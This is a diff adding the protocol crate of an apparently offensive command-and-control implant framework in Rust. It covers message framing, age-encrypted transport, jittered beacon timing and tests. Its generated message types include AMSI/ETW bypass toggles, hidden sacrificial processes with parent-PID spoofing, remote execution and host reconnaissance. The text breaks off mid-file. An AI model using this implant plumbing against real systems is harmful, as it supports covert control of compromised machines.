b/malefic-crates/proto/build.rs new file mode 100644 index 0000000..0da79a8 --- /dev/null +++ b/malefic-crates/proto/build.rs @@ -0,0 +1,83 @@ +const PROTO_GENE_PATH: &str = "src/proto/"; +const PROTO_IMPLANT_FILE: &str = "../../proto/implant/implantpb/implant.proto"; +const PROTO_MODULE_FILE: &str = "../../proto/implant/implantpb/module.proto"; + +fn main() { + let mut prost_config = prost_build::Config::new(); + #[cfg(feature = "enable_serde")] + { + prost_config.type_attribute(".", "#[derive(serde::Deserialize)]"); + prost_config.field_attribute(".modulepb", "#[serde(default)]"); + } + + #[cfg(feature = "inplace_obf")] + { + prost_config.type_attribute(".", "#[derive(::malefic_gateway::Obfuscate)]"); + } + + #[cfg(all(not(debug_assertions), not(feature = "enable_serde")))] + { + prost_config.skip_debug(["."]); + prost_config.skip_field_names(["."]); + } + + prost_config.out_dir(PROTO_GENE_PATH.to_string()); + match prost_config.compile_protos( + &[ + PROTO_IMPLANT_FILE.to_string(), + PROTO_MODULE_FILE.to_string(), + ], + &["../../proto/"], + ) { + Ok(_) => { + println!("Proto compilation successful!"); + // Post-process: remove #[serde(default)] from enum variants + // prost's field_attribute applies to enum variants too, which serde rejects + fix_serde_enum_variants(PROTO_GENE_PATH); + } + Err(e) => { + eprintln!("Proto compilation error: {}", e); + panic!("Failed to compile protos: {}", e); + } + } +} + +/// Remove `#[serde(default)]` from enum variant positions in generated proto files. +/// +/// prost's `field_attribute` applies to both struct fields and enum variants, +/// but `#[serde(default)]` is not valid on enum variants. +fn fix_serde_enum_variants(dir: &str) { + use std::fs; + for entry in fs::read_dir(dir).expect("failed to read proto output dir") { + let entry = entry.expect("failed to read dir entry"); + let path = entry.path(); + if path.extension().map_or(true, |ext| ext != "rs") { + continue; + } + let content = fs::read_to_string(&path).expect("failed to read generated file"); + let mut lines: Vec<&str> = content.lines().collect(); + let mut to_remove = Vec::new(); + + // Find enum blocks and mark #[serde(default)] lines within them + let mut in_enum = false; + for (i, line) in lines.iter().enumerate() { + let trimmed = line.trim(); + if trimmed.starts_with("pub enum ") { + in_enum = true; + } else if in_enum && trimmed == "}" { + in_enum = false; + } else if in_enum && trimmed == "#[serde(default)]" { + to_remove.push(i); + } + } + + if !to_remove.is_empty() { + for &i in to_remove.iter().rev() { + lines.remove(i); + } + let fixed = lines.join("\n") + "\n"; + fs::write(&path, fixed).expect("failed to write fixed file"); + println!("Fixed serde enum variants in {:?}", path); + } + } +} diff --git a/malefic-crates/proto/src/lib.rs b/malefic-crates/proto/src/lib.rs new file mode 100644 index 0000000..3ec8a7f --- /dev/null +++ b/malefic-crates/proto/src/lib.rs @@ -0,0 +1,585 @@ +pub mod proto; + +use anyhow::anyhow; +use malefic_gateway::ObfDebug; +use prost::Message; +use std::mem::size_of; +use thiserror::Error; + +pub use proto::implantpb; +pub use proto::implantpb::spite::Body; +pub use proto::implantpb::{Spite, Spites}; +pub use proto::modulepb; + +pub fn get_message_len(message: &M) -> usize { + message.encoded_len() +} + +pub fn new_spite(task_id: u32, name: String, body: Body) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error: 0, + status: Some(implantpb::Status { + task_id, + status: 0, + error: "".to_string(), + }), + body: Some(body), + } +} + +pub fn new_empty_spite(task_id: u32, name: String) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error: 0, + status: Some(implantpb::Status { + task_id, + status: 0, + error: "".to_string(), + }), + body: Some(Body::Empty(implantpb::Empty::default())), + } +} + +pub fn new_error_spite(task_id: u32, name: String, error: u32) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error, + status: Some(implantpb::Status { + task_id, + status: 1, + error: "".to_string(), + }), + body: None, + } +} + +pub fn get_sid() -> [u8; 4] { + if cfg!(debug_assertions) { + [1, 2, 3, 4] + } else { + let mut temp_id = [0u8; 4]; + malefic_common::random::fill(&mut temp_id); + temp_id + } +} + +pub fn new_heartbeat(interval: u64, jitter: f64) -> u64 { + let base_time_ms = (interval * 1000) as f64; + let jitter_factor = if jitter != 0.0 { + let jitter_range = (jitter * 2000.0) as u64 + 1; + 1.0 + (malefic_common::random::range_u64(0, jitter_range) as f64 / 1000.0 - jitter) + } else { + 1.0 + }; + (base_time_ms * jitter_factor) as u64 +} + +static TRANSPORT_START: u8 = 0xd1; +static TRANSPORT_END: u8 = 0xd2; +pub static HEADER_LEN: usize = 9; + +#[derive(Debug, Error)] +pub enum ParserError { + #[error(transparent)] + Panic(#[from] anyhow::Error), + #[error("No start marker found in data")] + NoStart, + #[error("No end marker found in data")] + NoEnd, + #[error("Data length is insufficient or incorrect")] + LengthError, + #[error("I/O Error: {0}")] + IOError(#[from] std::io::Error), + #[error("Data body is missing")] + MissBody, + #[error("Encryption/decryption failed: {0}")] + CryptorError(String), +} + +#[derive(ObfDebug)] +pub struct SpiteData { + pub start: u8, + pub session_id: [u8; 4], + pub length: u32, + pub data: Vec, + pub end: u8, +} + +impl SpiteData { + pub fn default() -> Self { + SpiteData { + start: TRANSPORT_START, + session_id: [0u8; 4], + length: 0, + data: Vec::new(), + end: TRANSPORT_END, + } + } + + pub fn new( + session_id: [u8; 4], + data: &[u8], + _recipient_public_key: Option<&str>, + ) -> Result { + let compressed = malefic_crypto::compress::compress(data).unwrap_or_else(|_| data.to_vec()); + + let final_data = { + #[cfg(feature = "secure")] + { + if let Some(public_key) = _recipient_public_key { + if !public_key.is_empty() { + use malefic_crypto::crypto::age::age_encrypt; + age_encrypt(&compressed, public_key).map_err(ParserError::CryptorError)? + } else { + compressed + } + } else { + compressed + } + } + #[cfg(not(feature = "secure"))] + { + compressed + } + }; + let length = final_data.len() as u32; + Ok(SpiteData { + start: TRANSPORT_START, + session_id, + length, + data: final_data, + end: TRANSPORT_END, + }) + } + + pub fn header(&self) -> Vec { + let mut buf = Vec::new(); + buf.push(self.start); + buf.extend_from_slice(&self.session_id); + buf.extend_from_slice(&self.length.to_le_bytes()); + buf + } + + pub fn body(&self) -> Vec { + let mut buf = Vec::new(); + buf.extend_from_slice(&self.data); + buf.push(self.end); + buf + } + + pub fn pack(&self) -> Vec { + let mut buf = Vec::new(); + buf.push(self.start); + buf.extend_from_slice(&self.session_id); + buf.extend_from_slice(&self.length.to_le_bytes()); + buf.extend_from_slice(&self.data); + buf.push(self.end); + buf + } + + pub fn unpack(&mut self, buf: &[u8]) -> Result<(), ParserError> { + if buf.len() < size_of::() + 4 + 2 { + return Err(ParserError::LengthError); + } + if buf[0] != TRANSPORT_START { + return Err(ParserError::NoStart); + } + if buf[buf.len() - 1] != TRANSPORT_END { + return Err(ParserError::NoEnd); + } + let mut pos = 1; + self.session_id = [buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]; + pos += 4; + self.length = u32::from_le_bytes([buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]); + pos += size_of::(); + self.data = buf[pos..pos + self.length as usize].to_vec(); + Ok(()) + } + + pub fn get_data(&self) -> &Vec { + &self.data + } + + pub fn set_data(&mut self, data: Vec) -> Result { + if let Some(&last_byte) = data.last() { + if last_byte != TRANSPORT_END { + Err(ParserError::NoEnd) + } else { + self.data = data[..data.len() - 1].to_vec(); + Ok(true) + } + } else { + Err(ParserError::LengthError) + } + } + + pub fn parse(&self, _private_key: Option<&str>) -> Result { + let spite_data = self.get_data(); + if spite_data.is_empty() { + return Err(ParserError::MissBody); + } + let decrypted_data = { + #[cfg(feature = "secure")] + { + if let Some(private_key) = _private_key { + if !private_key.is_empty() { + use malefic_crypto::crypto::age::age_decrypt; + age_decrypt(spite_data, private_key).map_err(ParserError::CryptorError)? + } else { + spite_data.to_vec() + } + } else { + spite_data.to_vec() + } + } + #[cfg(not(feature = "secure"))] + { + spite_data.to_vec() + } + }; + let decompressed = malefic_crypto::compress::decompress(&decrypted_data)?; + match Spites::decode(&decompressed[..]) { + Ok(spites) => Ok(spites), + Err(err) => Err(anyhow!("Failed to decode: {:?}", err).into()), + } + } +} + +pub fn encode(spites: Spites) -> Result, ParserError> { + let mut buf = Vec::new(); + spites.encode(&mut buf).map_err(|e| anyhow!(e))?; + Ok(buf) +} + +pub fn decode(data: Vec) -> Result { + let spites = Spites::decode(&data[..]).map_err(|e| anyhow!(e))?; + Ok(spites) +} + +pub fn marshal( + id: [u8; 4], + spites: Spites, + recipient_public_key: Option<&str>, +) -> Result { + let mut buf = Vec::new(); + spites.encode(&mut buf).map_err(|e| anyhow!(e))?; + SpiteData::new(id, &buf, recipient_public_key) +} + +pub fn marshal_one( + id: [u8; 4], + spite: Spite, + recipient_public_key: Option<&str>, +) -> Result { + marshal( + id, + Spites { + spites: vec![spite], + }, + recipient_public_key, + ) +} + +pub fn parser_header(buf: &[u8]) -> Result { + if buf.len() < 9 { + return Err(ParserError::LengthError); + } + if buf[0] != TRANSPORT_START { + return Err(ParserError::NoStart); + } + let start = buf[0]; + let session_id = [buf[1], buf[2], buf[3], buf[4]]; + let length = u32::from_le_bytes([buf[5], buf[6], buf[7], buf[8]]); + Ok(SpiteData { + start, + session_id, + length, + data: Vec::new(), + end: TRANSPORT_END, + }) +} + +#[cfg(feature = "secure")] +pub fn generate_age_keypair() -> (String, String) { + malefic_crypto::crypto::age::generate_age_keypair() +} + +#[cfg(all(test, feature = "secure"))] +mod tests { + use super::*; + use malefic_crypto::crypto::age::age_decrypt; + + fn make_test_spites() -> Spites { + let spite = new_spite( + 42, + "test_module".to_string(), + Body::Empty(implantpb::Empty::default()), + ); + Spites { + spites: vec![spite], + } + } + + /// marshal with age encryption -> parse with age decryption round-trip + #[test] + fn test_marshal_parse_with_age_encryption() { + let (server_priv, server_pub) = generate_age_keypair(); + let session_id = [0x01, 0x02, 0x03, 0x04]; + + let encrypted_sd = + marshal(session_id, make_test_spites(), Some(&server_pub)).expect("encrypted marshal"); + let plain_sd = marshal(session_id, make_test_spites(), None).expect("plain marshal"); + + // Encrypted data must differ from unencrypted + assert_ne!( + encrypted_sd.data, plain_sd.data, + "BUG: encrypted data identical to unencrypted" + ); + assert!( + encrypted_sd.data.len() > plain_sd.data.len(), + "BUG: encrypted data not larger than plain" + ); + + // Encrypted data must not be directly decompressible + assert!( + malefic_crypto::compress::decompress(&encrypted_sd.data).is_err(), + "BUG: encrypted data directly decompressible" + ); + + // Direct age_decrypt must work (proves data is real age ciphertext) + let direct_dec = + age_decrypt(&encrypted_sd.data, &server_priv).expect("direct age_decrypt failed"); + assert!(!direct_dec.is_empty()); + + // Parse with correct key + let recovered = encrypted_sd + .parse(Some(&server_priv)) + .expect("parse failed"); + assert_eq!(recovered.spites.len(), 1); + assert_eq!(recovered.spites[0].task_id, 42); + assert_eq!(recovered.spites[0].name, "test_module"); + } + + /// Full key exchange via marshal/parse + #[test] + fn test_simulated_key_exchange_e2e() { + let session_id = [0xAA, 0xBB, 0xCC, 0xDD]; + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Implant -> Server + let sd = marshal(session_id, make_test_spites(), Some(&server_pub)).unwrap(); + age_decrypt(&sd.data, &server_priv).expect("i2s: not valid age ciphertext"); + let r = sd.parse(Some(&server_priv)).unwrap(); + assert_eq!(r.spites[0].task_id, 42); + + // Server -> Implant + let server_msg = Spites { + spites: vec![new_spite( + 99, + "server_task".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, server_msg, Some(&implant_pub)).unwrap(); + age_decrypt(&sd.data, &implant_priv).expect("s2i: not valid age ciphertext"); + let r = sd.parse(Some(&implant_priv)).unwrap(); + assert_eq!(r.spites[0].task_id, 99); + + // Key rotation + let (new_server_priv, new_server_pub) = generate_age_keypair(); + let (new_implant_priv, new_implant_pub) = generate_age_keypair(); + + let post_msg = Spites { + spites: vec![new_spite( + 200, + "post_rot".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, post_msg, Some(&new_server_pub)).unwrap(); + // Old key fails + assert!( + age_decrypt(&sd.data, &server_priv).is_err(), + "old key must fail" + ); + // New key works + assert!(age_decrypt(&sd.data, &new_server_priv).is_ok()); + assert_eq!( + sd.parse(Some(&new_server_priv)).unwrap().spites[0].task_id, + 200 + ); + + let post_msg2 = Spites { + spites: vec![new_spite( + 201, + "new_task".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, post_msg2, Some(&new_implant_pub)).unwrap(); + assert!( + age_decrypt(&sd.data, &implant_priv).is_err(), + "old implant key must fail" + ); + assert_eq!( + sd.parse(Some(&new_implant_priv)).unwrap().spites[0].task_id, + 201 + ); + } + + /// Wrong key direction must fail parse + #[test] + fn test_encrypt_decrypt_key_separation() { + let (server_priv, server_pub) = generate_age_keypair(); + let sd = marshal([1, 2, 3, 4], make_test_spites(), Some(&server_pub)).unwrap(); + + // Encrypted data must not decompress directly + assert!(malefic_crypto::compress::decompress(&sd.data).is_err()); + + // Public key as decrypt key -> must fail + assert!( + sd.parse(Some(&server_pub)).is_err(), + "public key must not decrypt" + ); + + // Correct key + assert_eq!(sd.parse(Some(&server_priv)).unwrap().spites[0].task_id, 42); + } + + /// No-key marshal/parse (plaintext fallback) + #[test] + fn test_marshal_parse_without_keys() { + let sd = marshal([5, 6, 7, 8], make_test_spites(), None).unwrap(); + assert!( + malefic_crypto::compress::decompress(&sd.data).is_ok(), + "no-key data should be directly decompressible" + ); + assert_eq!(sd.parse(None).unwrap().spites[0].task_id, 42); + } + + // ----------------------------------------------------------------------- + // Security hardening tests: plaintext fallback removed + // ----------------------------------------------------------------------- + + /// Invalid age public key must produce CryptorError, not silently fall back + #[test] + fn test_age_encrypt_failure_returns_error() { + let session_id = [0xAA, 0xBB, 0xCC, 0xDD]; + let data = b"sensitive payload"; + + let result = SpiteData::new(session_id, data, Some("invalid_key_not_age")); + assert!( + result.is_err(), + "encrypting with invalid key should fail, not fall back to plaintext" + ); + match result { + Err(ParserError::CryptorError(_)) => {} // expected + Err(other) => panic!("expected CryptorError, got: {:?}", other), + Ok(_) => panic!("expected error, got Ok"), + } + } + + /// Decrypting with the wrong private key must produce an error + #[test] + fn test_age_decrypt_failure_returns_error() { + let (_, server_pub_a) = generate_age_keypair(); + let (_, _server_pub_b) = generate_age_keypair(); + // Generate a completely different keypair for decryption + let (wrong_priv, _) = generate_age_keypair(); + + let session_id = [0x11, 0x22, 0x33, 0x44]; + let sd = marshal(session_id, make_test_spites(), Some(&server_pub_a)) + .expect("marshal with valid key should succeed"); + + let result = sd.parse(Some(&wrong_priv)); + assert!( + result.is_err(), + "decrypting with wrong private key should fail, not fall back to plaintext" + ); + } + + /// None key -> Ok (no encryption, just compression) + /// Empty string key -> Ok (skip encryption) + #[test] + fn test_no_key_still_works() { + let session_id = [0x55, 0x66, 0x77, 0x88]; + let data = b"hello world"; + + // None key: no encryption, should succeed + let result_none = SpiteData::new(session_id, data, None); + assert!( + result_none.is_ok(), + "None key should succeed (no encryption): {:?}", + result_none.err() + ); + + // Empty string key: skip encryption, should succeed + let result_empty = SpiteData::new(session_id, data, Some("")); + assert!( + result_empty.is_ok(), + "empty string key should succeed (skip encryption): {:?}", + result_empty.err() + ); + } + + /// Multiple spites with encryption + #[test] + fn test_marshal_parse_multiple_spites() { + let (server_priv, server_pub) = generate_age_keypair(); + let spites = Spites { + spites: vec![ + new_spite(1, "a".to_string(), Body::Empty(implantpb::Empty::default())), + new_spite(2, "b".to_string(), Body::Empty(implantpb::Empty::default())), + new_spite(3, "c".to_string(), Body::Empty(implantpb::Empty::default())), + ], + }; + let sd = marshal([0x10, 0x20, 0x30, 0x40], spites, Some(&server_pub)).unwrap(); + age_decrypt(&sd.data, &server_priv).expect("multi-spite must be valid age ciphertext"); + + let r = sd.parse(Some(&server_priv)).unwrap(); + assert_eq!(r.spites.len(), 3); + assert_eq!(r.spites[0].task_id, 1); + assert_eq!(r.spites[1].task_id, 2); + assert_eq!(r.spites[2].task_id, 3); + } + + /// TLV pack/unpack round-trip with encryption + #[test] + fn test_pack_unpack_parse_roundtrip() { + let (server_priv, server_pub) = generate_age_keypair(); + let session_id = [0xDE, 0xAD, 0xBE, 0xEF]; + + let sd = marshal(session_id, make_test_spites(), Some(&server_pub)).unwrap(); + assert!(age_decrypt(&sd.data, &server_priv).is_ok()); + + let wire = sd.pack(); + + // Verify TLV wire format + assert_eq!(wire[0], 0xd1, "start marker"); + assert_eq!(*wire.last().unwrap(), 0xd2, "end marker"); + assert_eq!(&wire[1..5], &session_id, "session_id"); + + // Unpack + let mut received = SpiteData::default(); + received.unpack(&wire).expect("unpack"); + assert_eq!(received.session_id, session_id); + assert_eq!(received.data, sd.data); + + // Parse + let r = received + .parse(Some(&server_priv)) + .expect("parse after unpack"); + assert_eq!(r.spites[0].task_id, 42); + } +} diff --git a/malefic-crates/proto/src/proto/mod.rs b/malefic-crates/proto/src/proto/mod.rs new file mode 100644 index 0000000..2d53035 --- /dev/null +++ b/malefic-crates/proto/src/proto/mod.rs @@ -0,0 +1,2 @@ +pub mod implantpb; +pub mod modulepb; diff --git a/malefic-crates/proto/src/proto/modulepb.rs b/malefic-crates/proto/src/proto/modulepb.rs new file mode 100644 index 0000000..cc7eda3 --- /dev/null +++ b/malefic-crates/proto/src/proto/modulepb.rs @@ -0,0 +1,1429 @@ +// This file is @generated by prost-build. +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Ping { + #[prost(int32, tag = "1")] + #[serde(default)] + pub nonce: i32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Register { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub proxy: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "3")] + #[serde(default)] + pub module: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(message, repeated, tag = "4")] + #[serde(default)] + pub addons: ::prost::alloc::vec::Vec, + #[prost(message, optional, tag = "5")] + #[serde(default)] + pub timer: ::core::option::Option, + #[prost(message, optional, tag = "11")] + #[serde(default)] + pub sysinfo: ::core::option::Option, + /// Implant's public key, used by server to encrypt data + #[prost(message, optional, tag = "12")] + #[serde(default)] + pub secure: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Secure { + #[prost(bool, tag = "1")] + #[serde(default)] + pub enable: bool, + /// encryption key + #[prost(string, tag = "2")] + #[serde(default)] + pub key: ::prost::alloc::string::String, + /// encryption type + #[prost(string, tag = "3")] + #[serde(default)] + pub r#type: ::prost::alloc::string::String, + /// Implant's public key, used by server to encrypt data + #[prost(string, tag = "4")] + #[serde(default)] + pub public_key: ::prost::alloc::string::String, +} +/// Age key exchange related messages +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct KeyExchangeRequest { + /// Temporary public key (Age X25519) + #[prost(string, tag = "1")] + #[serde(default)] + pub public_key: ::prost::alloc::string::String, + /// Signature of temporary public key + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub signature: ::prost::alloc::vec::Vec, + /// Timestamp + #[prost(uint64, tag = "3")] + #[serde(default)] + pub timestamp: u64, + /// Nonce + #[prost(string, tag = "4")] + #[serde(default)] + pub nonce: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct KeyExchangeResponse { + /// Server temporary public key + #[prost(string, tag = "1")] + #[serde(default)] + pub public_key: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Init { + #[prost(bytes = "vec", tag = "1")] + #[serde(default)] + pub data: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct SysInfo { + #[prost(string, tag = "1")] + #[serde(default)] + pub filepath: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub workdir: ::prost::alloc::string::String, + #[prost(bool, tag = "3")] + #[serde(default)] + pub is_privilege: bool, + #[prost(message, optional, tag = "11")] + #[serde(default)] + pub os: ::core::option::Option, + #[prost(message, optional, tag = "12")] + #[serde(default)] + pub process: ::core::option::Option, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Suicide { + #[prost(int32, tag = "1")] + #[serde(default)] + pub r#type: i32, + #[prost(int64, tag = "2")] + #[serde(default)] + pub timestamp: i64, +} +/// common empty request +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Request { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub input: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "3")] + #[serde(default)] + pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(map = "string, string", tag = "4")] + #[serde(default)] + pub params: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, + #[prost(bytes = "vec", tag = "5")] + #[serde(default)] + pub bin: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Response { + #[prost(string, tag = "1")] + #[serde(default)] + pub output: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub error: ::prost::alloc::string::String, + #[prost(map = "string, string", tag = "3")] + #[serde(default)] + pub kv: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, + #[prost(string, repeated, tag = "4")] + #[serde(default)] + pub array: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct BypassRequest { + #[prost(bool, tag = "1")] + #[serde(default)] + pub etw: bool, + #[prost(bool, tag = "2")] + #[serde(default)] + pub amsi: bool, + #[prost(bool, tag = "3")] + #[serde(default)] + pub block_dll: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct NetInterface { + #[prost(int32, tag = "1")] + #[serde(default)] + pub index: i32, + #[prost(string, tag = "2")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub mac: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "4")] + #[serde(default)] + pub ip_addresses: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct SockTabEntry { + #[prost(string, tag = "1")] + #[serde(default)] + pub local_addr: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + #[serde(default)] + pub remote_addr: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + #[serde(default)] + pub sk_state: ::prost::alloc::string::String, + /// uint32 uid = 4; + #[prost(string, tag = "5")] + #[serde(default)] + pub pid: ::prost::alloc::string::String, + #[prost(string, tag = "6")] + #[serde(default)] + pub protocol: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct NetstatResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub socks: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Block { + #[prost(uint32, tag = "1")] + #[serde(default)] + pub block_id: u32, + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub content: ::prost::alloc::vec::Vec, + #[prost(bool, tag = "3")] + #[serde(default)] + pub end: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Ack { + #[prost(uint32, tag = "1")] + #[serde(default)] + pub id: u32, + #[prost(bool, tag = "2")] + #[serde(default)] + pub success: bool, + #[prost(bool, tag = "3")] + #[serde(default)] + pub end: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Os { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + /// kernel version + #[prost(string, tag = "2")] + #[serde(default)] + pub version: ::prost::alloc::string::String, + /// release version + #[prost(string, tag = "3")] + #[serde(default)] + pub release: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + #[serde(default)] + pub arch: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub username: ::prost::alloc::string::String, + #[prost(string, tag = "6")] + #[serde(default)] + pub hostname: ::prost::alloc::string::String, + /// timezone + #[prost(string, tag = "7")] + #[serde(default)] + pub locale: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "8")] + #[serde(default)] + pub clr_version: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct Process { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(uint32, tag = "2")] + #[serde(default)] + pub pid: u32, + #[prost(uint32, tag = "3")] + #[serde(default)] + pub ppid: u32, + #[prost(string, tag = "4")] + #[serde(default)] + pub owner: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + #[serde(default)] + pub arch: ::prost::alloc::string::String, + #[prost(string, tag = "6")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "7")] + #[serde(default)] + pub args: ::prost::alloc::string::String, + #[prost(string, tag = "8")] + #[serde(default)] + pub uid: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Timer { + #[prost(string, tag = "1")] + #[serde(default)] + pub expression: ::prost::alloc::string::String, + #[prost(double, tag = "2")] + #[serde(default)] + pub jitter: f64, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct FileInfo { + #[prost(string, tag = "1")] + #[serde(default)] + pub name: ::prost::alloc::string::String, + #[prost(bool, tag = "2")] + #[serde(default)] + pub is_dir: bool, + #[prost(uint64, tag = "3")] + #[serde(default)] + pub size: u64, + #[prost(int64, tag = "4")] + #[serde(default)] + pub mod_time: i64, + #[prost(uint32, tag = "5")] + #[serde(default)] + pub mode: u32, + #[prost(string, tag = "6")] + #[serde(default)] + pub link: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct SacrificeProcess { + #[prost(bool, tag = "1")] + #[serde(default)] + pub hidden: bool, + #[prost(bool, tag = "2")] + #[serde(default)] + pub block_dll: bool, + #[prost(bool, tag = "3")] + #[serde(default)] + pub etw: bool, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub ppid: u32, + #[prost(string, tag = "5")] + #[serde(default)] + pub argue: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct LsResponse { + #[prost(string, tag = "1")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(bool, tag = "2")] + #[serde(default)] + pub exists: bool, + #[prost(message, repeated, tag = "3")] + #[serde(default)] + pub files: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct DriveInfo { + /// "C:\\" + #[prost(string, tag = "1")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + /// "Fixed drive" + #[prost(string, tag = "2")] + #[serde(default)] + pub drive_type: ::prost::alloc::string::String, + /// + #[prost(uint64, tag = "3")] + #[serde(default)] + pub total_size: u64, + /// + #[prost(uint64, tag = "4")] + #[serde(default)] + pub free_size: u64, + /// "NTFS" + #[prost(string, tag = "5")] + #[serde(default)] + pub file_system: ::prost::alloc::string::String, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct EnumDriversResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub drives: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct PsResponse { + #[prost(message, repeated, tag = "1")] + #[serde(default)] + pub processes: ::prost::alloc::vec::Vec, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ExecRequest { + #[prost(string, tag = "1")] + #[serde(default)] + pub path: ::prost::alloc::string::String, + #[prost(string, repeated, tag = "2")] + #[serde(default)] + pub args: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, + #[prost(bool, tag = "3")] + #[serde(default)] + pub output: bool, + #[prost(bool, tag = "4")] + #[serde(default)] + pub singleton: bool, + #[prost(bool, tag = "5")] + #[serde(default)] + pub realtime: bool, + #[prost(uint32, tag = "10")] + #[serde(default)] + pub ppid: u32, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] +pub struct ExecResponse { + #[prost(int32, tag = "1")] + #[serde(default)] + pub status_code: i32, + #[prost(bytes = "vec", tag = "2")] + #[serde(default)] + pub stdout: ::prost::alloc::vec::Vec, + #[prost(bytes = "vec", tag = "3")] + #[serde(default)] + pub stderr: ::prost::alloc::vec::Vec, + #[prost(uint32, tag = "4")] + #[serde(default)] + pub pid: u32, + #[prost(bool, tag = "5")] + #[serde(default)] + pub end: bool, +} +#[derive(serde::Deserialize)] +#[derive(Clone, PartialEq, Eq, Hash, 